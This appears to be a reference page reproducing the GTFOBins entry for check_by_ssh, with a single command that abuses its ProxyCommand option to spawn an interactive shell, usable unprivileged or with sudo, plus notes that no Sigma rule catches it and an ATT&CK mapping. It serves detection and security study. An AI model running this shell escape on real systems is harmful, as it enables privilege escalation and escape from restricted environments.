Identifier / Programs / Linux and Unix
check_by_ssh
GTFOBins shell 1 ATT&CK technique 1 documented command
How check_by_ssh is abused
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for check_by_ssh.
1 documented command
shell unprivileged, with sudo
The shell will only last 10 seconds.
check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xIdentifyThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for check_by_ssh. The identifier reads the line that runs check_by_ssh.
What detects it
T1059.004Command and Scripting Interpreter: Unix Shell